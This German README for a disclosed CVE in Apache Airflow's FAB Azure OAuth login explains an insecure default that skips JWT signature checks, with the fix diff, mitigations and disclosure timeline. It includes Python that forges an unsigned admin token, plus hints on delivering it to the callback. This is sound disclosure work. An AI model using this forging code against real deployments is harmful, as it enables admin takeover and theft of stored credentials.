
Proof-of-Concept für CVE-2026-59243, der einen Bypass der JWT-Signaturprüfung im Azure AD OAuth-Callback des Apache Airflow FAB Auth Managers aufgrund einer unsicheren Standardeinstellung demonstriert.
Koreanisch: README.ko.md
apache-airflow-providers-fab==3.7.3Der FAB- (Flask App Builder) Auth Manager von Apache Airflow dekodiert Azure-AD-OAuth-id_tokens in _decode_and_validate_azure_jwt(). Diese Funktion hatte verify_signature standardmäßig auf False gesetzt.
# providers/fab/.../override.py (Zeilen 2331–2341 zum Zeitpunkt der Meldung)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
"verify_signature", False, # ← Standard ist False
)
if verify_signature:
# authlib-JWK-Validierung, Claims zurückgeben
...
# Standardpfad: Signaturprüfung vollständig überspringen
return jwt.decode(id_token, options={"verify_signature": False})
Sofern ein Betreiber nicht explizit verify_signature: true in client_kwargs setzt, ist die Signaturprüfung für den gesamten Login-Ablauf deaktiviert. Welches Token auch immer ankommt, seine Claims werden als Identität des Aufrufers akzeptiert.
Die Authentik-Integration in derselben Datei standardmäßig auf True:
# providers/fab/.../override.py:414–416 (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
"verify_signature", True, # ← dieser Standard ist True
)
Gleiche Datei, gleiche Form, entgegengesetzter Standard. Dieser Kontrast war das erste Anzeichen dafür, dass der Azure-Standard keine bewusste Entscheidung war.
Angenommen, Airflow ist mit FAB Auth Manager + Azure-AD-OAuth bereitgestellt, client_kwargs unverändert. (Die Standardinstallation.)
Fälschen Sie ein JWT mit alg: none und beliebigen Claims:
import base64, json
def b64u(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
header = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
"sub": "[email protected]",
"email": "[email protected]",
"name": "Administrator",
"roles": ["Admin"],
"iss": "https://login.microsoftonline.com/<tenant>/v2.0",
"aud": "<airflow-client-id>",
"exp": 9999999999,
})
forged = f"{header}.{payload}." # abschließender Punkt: leere Signatur
Liefern Sie dieses Token an den OAuth-Callback (/login/azure/authorized oder wo auch immer die Integration eingebunden ist). Wie Sie es tatsächlich zustellen, hängt von der Bereitstellung ab: MITM über einen falsch konfigurierten TLS-terminierenden Proxy, ein offener Redirector mit laxer redirect_uri-Validierung oder direkter Aufruf des Callbacks mit einem manipulierten state. Wählen Sie, was das Ziel Ihnen bietet.
Sobald das Token den Callback erreicht, ruft FAB _decode_and_validate_azure_jwt auf, fällt in den Standardpfad und übergibt die gefälschten Claims an die Sitzung. Da Sie roles: ["Admin"] gesendet haben, sind Sie jetzt als Admin angemeldet. Bei Airflow bedeutet das praktisch alles: Connections, Variablen, den Fernet-Schlüssel und beliebige Codeausführung als Worker durch das Einspielen eines neuen DAG.
Drei verschiedene Bewertungen landeten an drei verschiedenen Stellen, was tatsächlich aufschlussreich ist:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:LmoderateDer Unterschied zwischen meiner und der NVD-Bewertung liegt in einer Metrik: AC. Ich habe sie mit H bewertet, weil ich den MITM-Zustellweg eng betrachtet habe. Der Analyst von NVD entschied sich für AC:L und behandelte jede Möglichkeit, ein id_token vor den Callback zu bringen (einschließlich einfachem Missbrauch des OAuth-Flows), als normale Angreiferfähigkeit. Bei näherer Betrachtung ist AC:L die vertretbarere Lesart — man muss nicht zwingend im Pfad sein, um eine defekte Signaturprüfung auszunutzen. Deshalb landen NVD/Strix bei 9.8, und das ist der Wert, der in den meisten CVE-Datenbanken und Scannern auftauchen wird.
Apaches moderate ist eine separate Bewertung nach ihrem eigenen Risikomodell, die eher darauf gewichtet ist, „wie häufig tritt diese Vorbedingung in realen Bereitstellungen auf" als auf die Obergrenze der Auswirkung. Nicht inkonsistent mit 9.8 — nur eine andere Frage, die beantwortet wird.
Ein Zeichen.
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)
Gleicht den Azure-Standard an Authentik an. Wenn jemand die Signaturprüfung tatsächlich deaktivieren muss (z. B. selbstsignierte JWKS auf einer lokalen Azure-AD-Replik), kann er weiterhin mit verify_signature: false in client_kwargs opt-in. Deutlich besser als standardmäßig unsicher auszuliefern.
Zusammengeführt am 07.07.2026 als PR #69374 / Commit 54259ae. Veröffentlicht in apache-airflow-providers-fab==3.7.3 am 28.07.2026.
Wenn Sie nicht sofort aktualisieren können, setzen Sie es explizit in webserver_config.py:
OAUTH_PROVIDERS = [
{
"name": "azure",
"client_kwargs": {"verify_signature": True, ...},
# ...
},
]
Darüber hinaus: Halten Sie OAuth-Callbacks HTTPS-only mit strenger redirect_uri-Allowlist und rotieren Sie alle Anmeldedaten in Airflow Connections, wenn Sie Grund zur Annahme haben, betroffen zu sein.
Docker + pwntools unter poc/:
poc/server.py isoliert den verwundbaren Pfad (jwt.decode(..., options={"verify_signature": False})) in einer kleinen Flask-App.poc/exploit_airflow_jwt.py fälscht das JWT, ruft den Callback auf und gibt Platzhalter-Secrets aus der Admin-Ansicht aus.poc/Dockerfile und poc/docker-compose.yml bringen das Ziel auf 127.0.0.1:5002 (Loopback-Bindung) hoch.Einzelner Befehl:
cd poc/
./run.sh
Wenn Sie dies auf einem gemeinsam genutzten Rechner ausführen, prüfen Sie vor dem Start die Compose-Bindung.
Unabhängige Refactorings haben die Zeilennummern zwischen dem ursprünglichen Bericht und dem aktuellen main verschoben. Der Dateipfad ist unverändert.
Datei: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py
CVE-2026-59243/
├── README.md (diese Datei)
├── README.ko.md Koreanische Version
├── LICENSE MIT
├── check_advisory.sh Veröffentlichungs-Watcher (zur Wiederverwendung aufbewahrt; derzeit inaktiv)
├── patch/fix.diff Ein-Zeichen-Fix (auf Berichtszeit-Zeilen verankert)
└── poc/ Docker + pwntools PoC
[email protected]MIT (LICENSE). Das PoC dient nur der Reproduktion und defensiven Forschung. Richten Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine schriftliche Genehmigung zum Testen haben.
| Symbol | Zum Zeitpunkt des Berichts (18.03.2026) | Im behobenen main (29.07.2026) |
|---|
_decode_and_validate_azure_jwt() | 2331–2341 (Standard False, verwundbar) | 2428–2438 (Standard True, behoben) |
_get_authentik_token_info() | 414–416 (Standard True, sicher) | 419–420 (Standard True, sicher) |
| Datum | Ereignis |
|---|
| 18.03.2026 | An [email protected] gemeldet |
| März 2026 bis Juli 2026 | Verzögerung auf Apaches Seite; ein Airflow-PMC-Mitglied bestätigte später, dass der ursprüngliche Bericht übersehen wurde |
| 03.07.2026 | Erste Antwort |
| 04.07.2026 | CVE-2026-59243 zugewiesen, Kreditinformationen gesendet |
| 07.07.2026 | Fix zusammengeführt (Commit 54259ae, PR #69374) |
| 28.07.2026 | apache-airflow-providers-fab==3.7.3 veröffentlicht |
| 29.07.2026 | MITRE-CVE-Eintrag PUBLISHED, Apache-Advisory an [email protected] gepostet |
| 29.07.2026 | Dieses Repository auf öffentlich umgestellt |